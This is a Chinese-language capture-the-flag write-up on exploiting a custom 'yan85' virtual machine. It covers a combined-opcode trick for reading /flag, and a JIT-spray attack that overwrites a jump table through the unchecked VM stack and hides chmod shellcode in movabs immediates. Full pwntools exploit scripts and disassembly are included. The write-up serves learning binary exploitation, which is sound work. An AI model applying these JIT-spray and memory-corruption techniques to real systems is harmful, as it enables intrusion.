没有内存洞了，仍然只允许一个SYS指令，注意到该VM的所有操作都是通过是否置某位来判断的，只要置位相应位，就会在单条指令上执行多个操作

先验知识：

常规下第一个open一定会得到fd=3，即fd号在不产生重复的情况下是单增的

只读模式打开文件，不会使写入成功，即我们第一次read之后的write不会成功，不产生污染

vm的ip循环，即可通过栈指针来判断步数（总是在开始时利用栈构造/flag字符串）

```
1  from pwnheader import *
2  from yan85 import *
3
4  # context.log_level = "info"
5
6  # register d is used as temp, step info is implicit by stack
7  sh = ""
8  IMM d 0x2f
9  STK NONE d
10 IMM d 0x66
11 STK NONE d
12 IMM d 0x6c
13 STK NONE d
14 IMM d 0x61
15 STK NONE d
16 IMM d 0x67
17 STK NONE d
18 IMM d 0x0
19 STK NONE d
20
21 IMM d 0x6
22 CMP d s
23 IMM d 0x18
24 JMP E d
25 IMM d 0xc
26 CMP d s
27 IMM d 0x1c
28 JMP E d
29 IMM d 0x12
30 CMP d s
31 IMM d 0x21
32 JMP E d
33
34 IMM d 0x22
35 IMM a 0x1
```

```
36 IMM b 0x0
37 JMP * d
38
39 IMM d 0x22
40 IMM a 0x3
41 IMM b 0x80
42 IMM c 0x60
43 JMP * d
44
45 IMM a 0x1
46 ""
47
48 # p = sta(10,0)
49
50 # vm_op = {
51 #     "IMM": 0x80,
52 #     "ADD": 0x4,
53 #     "STK": 0x40,
54 #     "STM": 0x2,
55 #     "LDM": 0x8,
56 #     "CMP": 0x10,
57 #     "JMP": 0x20,
58 #     "SYS": 0x1
59 # }
60
61 # vm_reg = {
62 #     "a": 0x4,
63 #     "b": 0x10,
64 #     "c": 0x40,
65 #     "d": 0x8,
66 #     "s": 0x2,
67 #     "i": 0x1,
68 #     "f": 0x20,
69 #     "NONE": 0x0
70 # }
71
72 # vm_jump={
73 #     "L": 0x8,
74 #     "G": 0x1,
75 #     "E": 0x4,
76 #     "N": 0x2,
77 #     "Z": 0x10,
78 #     "*": 0x0
79 # }
80
81 # vm_byteorder = {
82 #     "op":1,
```

```
83 # "arg1":2,
84 # "arg2":0
85 # }
86
87 # vm_syscall = {
88 #     "orw": 0x32
89 # }
90
91 # set85(vm_op, vm_reg, syscall=vm_syscall, jmp=vm_jmp, byteorder=vm_byteorder)
92
93 # sh += ""
94 # SYS 0x32 d
95 # ""
96
97 # shellcode = asm85(sh)
98
99 # ru("Please input your yancode:")
100 # sl(shellcode)
101
102 p = sta(10,1)
103
104 vm_op = {
105     "IMM": 0x8,
106     "ADD": 0x20,
107     "STK": 0x4,
108     "STM": 0x80,
109     "LDM": 0x1,
110     "CMP": 0x2,
111     "JMP": 0x40,
112     "SYS": 0x10
113 }
114
115 vm_reg = {
116     "a": 0x8,
117     "b": 0x10,
118     "c": 0x40,
119     "d": 0x20,
120     "s": 0x2,
121     "i": 0x4,
122     "f": 0x1,
123     "NONE": 0x0
124 }
125
126 vm_jmp={
127     "L": 0x8,
128     "G": 0x1,
129     "E": 0x2,
```

```

130     "N": 0x4,
131     "Z": 0x10,
132     "x": 0x0
133 }
134
135 vm_byteorder = {
136     "op":1,
137     "arg1":0,
138     "arg2":2
139 }
140
141 vm_syscall = {
142     "orw": 0x1c
143 }
144
145 set85(vm_op, vm_reg,syscall=vm_syscall,jmp=vm_jmp, byteorder=vm_byteorder)
146
147 sh += ""
148 SYS 0x1c d
149 ""
150
151 shellcode = asm85(sh)
152
153 ru("Please input your yancode:")
154 sl(shellcode)
155
156 itr()

```

11 JIT编译的VM (Yan85_64)

禁止了SYS 和条件跳转

逆向一下，可知指令是1Byte 对应一个qword，可以套用原来的汇编器然后按特殊值替换p64处理下
先试一下常规指令的转义

```

1  sh = ""
2  IMM a 0xff
3  IMM b 0x80
4  IMM c 0x0
5  IMM d 0x0
6  IMM s 0x1
7  IMM i 0x0
8  STK a NONE

```

```

9  STK NONE d
10 JMP * b
11 ""

```

得到

1	Address	Bytes	
2	Instructions		
3	0x0000000001337000	49 ba 00 00 00 00 00 00 00 00	movabs r10, 0
4	0x000000000133700a	49 bb 00 00 00 00 00 00 00 00	movabs r11, 0
5	0x0000000001337014	49 bc 00 00 00 00 00 00 00 00	movabs r12, 0
6	0x000000000133701e	49 bd 00 00 00 00 00 00 00 00	movabs r13, 0
7	0x0000000001337028	49 be 00 00 00 00 00 00 00 00	movabs r14, 0
8	0x0000000001337032	49 bf 00 00 00 00 00 00 00 00	movabs r15, 0
9	0x000000000133703c	49 b9 00 00 00 00 00 00 00 00	movabs r9, 0
10	0x0000000001337046	49 c7 c1 00 00 00 00	mov r9, 0
11	0x000000000133704d	49 ba ff 00 00 00 00 00 00 00	movabs r10, 0xff
12	0x0000000001337057	49 c7 c1 01 00 00 00	mov r9, 1
13	0x000000000133705e	49 bb 80 00 00 00 00 00 00 00	movabs r11, 0x80
14	0x0000000001337068	49 c7 c1 02 00 00 00	mov r9, 2
15	0x000000000133706f	49 bc 00 00 00 00 00 00 00 00	movabs r12, 0
16	0x0000000001337079	49 c7 c1 03 00 00 00	mov r9, 3
17	0x0000000001337080	49 bd 00 00 00 00 00 00 00 00	movabs r13, 0
18	0x000000000133708a	49 c7 c1 04 00 00 00	mov r9, 4
19	0x0000000001337091	49 be 01 00 00 00 00 00 00 00	movabs r14, 1
20	0x000000000133709b	49 c7 c1 05 00 00 00	mov r9, 5
21	0x00000000013370a2	49 bf 00 00 00 00 00 00 00 00	movabs r15, 0
22	0x00000000013370ac	49 c7 c1 06 00 00 00	mov r9, 6
23	0x00000000013370b3	4d 89 f0	mov r8, r14

```

24  0x00000000013370b6 | 48 b8 20 03 5a 28 fc 7f 00 00 | movabs
    rax, 0x7ffc285a0320
25  0x00000000013370c0 | 49 01 c0 | add r8,
    rax
26  0x00000000013370c3 | 4d 8b 10 | mov r10,
    qword ptr [r8]
27  0x00000000013370c6 | 49 83 ee 08 | sub r14,
    8
28  0x00000000013370ca | 49 c7 c1 07 00 00 00 | mov r9, 7
29  0x00000000013370d1 | 49 83 c6 08 | add r14,
    8
30  0x00000000013370d5 | 4d 89 f0 | mov r8,
    r14
31  0x00000000013370d8 | 48 b8 20 03 5a 28 fc 7f 00 00 | movabs
    rax, 0x7ffc285a0320
32  0x00000000013370e2 | 49 01 c0 | add r8,
    rax
33  0x00000000013370e5 | 4d 89 28 | mov
    qword ptr [r8], r13
34  0x00000000013370e8 | 49 c7 c1 08 00 00 00 | mov r9, 8
35  0x00000000013370ef | 4d 89 d9 | mov r9,
    r11
36  0x00000000013370f2 | 4d 89 c8 | mov r8,
    r9
37  0x00000000013370f5 | 49 c1 e0 03 | shl r8, 3
38  0x00000000013370f9 | 48 b8 28 0b 5a 28 fc 7f 00 00 | movabs
    rax, 0x7ffc285a0b28
39  0x0000000001337103 | 49 01 c0 | add r8,
    rax
40  0x0000000001337106 | 4d 8b 00 | mov r8,
    qword ptr [r8]
41  0x0000000001337109 | 48 b8 00 70 33 01 00 00 00 00 | movabs
    rax, 0x1337000
42  0x0000000001337113 | 49 01 c0 | add r8,
    rax
43  0x0000000001337116 | 41 ff e0 | jmp r8
44  0x0000000001337119 | 49 c7 c1 09 00 00 00 | mov r9, 9
45  0x0000000001337120 | 49 c7 c1 0a 00 00 00 | mov r9,
    0xa
46  0x0000000001337127 | 49 c7 c1 0b 00 00 00 | mov r9,
    0xb

```

可知 a,b,c,d,s,i 对应 r10,r11,r12,r13,r14,r15, r9是指令计数器, r8是临时寄存器

立即数操作: 就是直接mov进去

Push 加载栈地址到rax, 然后s+=8, r8+= rax 存入[r8], pop反过来

Jmp 取目标寄存器到r8，以r8作为offset寻址到指令jumpable对应的偏移，取到真偏移后加到JIT code的起始然后跳转

注意到栈底和跳转表基址相差257个qword，而栈没有校验偏移值，可以任意写，看一眼保护：

```
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
```

不能返回到栈上，只有 JIT Spray了，加载寄存器的时候是利用movabs的，意味着我们单条指令有8B的空间可用,除去一个相对跳转的2b，还有6byte每条

那就只需要用推栈指令覆盖一下跳转偏移，然后构造shellcode payload编码到立即数里面，控制跳转执行就可以了

还是打chmod，orw太长了不好玩:-)

```
1  from pwnheader import *
2  from yan85 import *
3
4  context.log_level = "info"
5
6  sc = ""
7  xor eax,eax
8  xor esi,esi
9  mov al, 90
10 jmp $+2+9
11
12 mov si, 292
13 push r12
14 jmp $+2+9
15
16 mov rdi, rsp
17 syscall
18
19 ""
20 asc = asm(sc)
21 print(disasm(asc))
22 # pause()
23
24 sh = ""
25 IMM a 0xc0
26 IMM a 0xc1
27 IMM a 0xc2
```



```
28 IMM a 0xc3
29 IMM a 0xc4
30 IMM a 0xc5
31 IMM a 0xc6
32 IMM a 0xc7
33 IMM a 0xc8
34 IMM a 0xc9
35 IMM a 0xca
36 IMM a 0xcb
37 IMM a 0xcc
38 IMM a 0xcd
39 IMM a 0xce
40 IMM a 0xcf
41
42 IMM s 0xd0
43 IMM d 0x4f
44 STK NONE d
45
46 IMM c 0xd1
47 IMM b 0x0
48 JMP * b
49 ""
50
51 # p = sta(11, 0)
52
53 # vm_op = {
54 #     "IMM": 0x20,
55 #     "ADD": 0x1,
56 #     "STK": 0x8,
57 #     "STM": 0x10,
58 #     "LDM": 0x2,
59 #     "CMP": 0x40,
60 #     "JMP": 0x4,
61 #     "SYS": 0x80
62 # }
63
64 # vm_reg = {
65 #     "a": 0x1,
66 #     "b": 0x2,
67 #     "c": 0x40,
68 #     "d": 0x4,
69 #     "s": 0x20,
70 #     "i": 0x8,
71 #     "f": 0x10,
72 #     "NONE": 0x0
73 # }
74
```

```

75  # vm_byteorder = {
76  #      "op":0,
77  #      "arg1":1,
78  #      "arg2":2
79  # }
80
81  # set85(vm_op, vm_reg, byteorder=vm_byteorder)
82
83  # ru("Please input your yancode: ")
84  # shellcode = asm85(sh)
85  # # sh64 = b''.join([p64(shellcode[i]) for i in
86  #     range(len(shellcode))]).ljust(0x1800, b'\x00')
87
88  # sh64 = b''
89
90  # imm_maps = {
91  #     0xd0: 2048,
92  #     0xd1: 0x67616c662f
93  # }
94  # asc = asc.ljust(8*16, b'\x00')
95  # for i in range(16):
96  #     imm_maps[0xc0 + i] = u64(asc[i*8:i*8+8])
97  # for i in range(len(shellcode)):
98  #     if(shellcode[i] in imm_maps):
99  #         sh64 += p64(imm_maps[shellcode[i]])
100  #     else:
101  #         sh64 += p64(shellcode[i])
102
103  p = sta(11,1)
104
105  vm_op = {
106      "IMM": 0x1,
107      "ADD": 0x10,
108      "STK": 0x20,
109      "STM": 0x8,
110      "LDM": 0x4,
111      "CMP": 0x2,
112      "JMP": 0x40,
113      "SYS": 0x80
114  }
115
116  vm_reg = {
117      "a": 0x4,
118      "b": 0x2,
119      "c": 0x8,
120      "d": 0x10,

```

```

121     "s": 0x40,
122     "i": 0x20,
123     "f": 0x1,
124     "NONE": 0x0
125 }
126
127 vm_byteorder = {
128     "op":0,
129     "arg1":1,
130     "arg2":2
131 }
132
133 set85(vm_op, vm_reg, byteorder=vm_byteorder)
134
135 ru("Please input your yancode: ")
136 shellcode = asm85(sh)
137 # sh64 = b''.join([p64(shellcode[i]) for i in
range(len(shellcode))]).ljust(0x1800, b'\x00')
138 sh64 = b''
139
140 imm_maps = {
141     0xd0: 2048,
142     0xd1: 0x67616c662f
143 }
144 asc = asc.ljust(8*16, b'\x00')
145 for i in range(16):
146     imm_maps[0xc0 + i] = u64(asc[i*8:i*8+8])
147 for i in range(len(shellcode)):
148     if(shellcode[i] in imm_maps):
149         sh64 += p64(imm_maps[shellcode[i]])
150     else:
151         sh64 += p64(shellcode[i])
152 sh64 = sh64.ljust(0x1800, b'\x00')
153 sl(sh64)
154
155 itr()
156 cf()

```

结语

没有 VM 还是比较容易的，基本上都是内存洞，有 VM 的情况下多加了 VM 的逆向，写出汇编器基本上就可以了。至于 JIT，挺麻烦的，但是可以 dump 出来反汇编找对应关系（前提是 JIT 没做优化不然很多东西都不可预测），利用内存洞劫持到 JIT Spray 的 shellcode 就可以了。

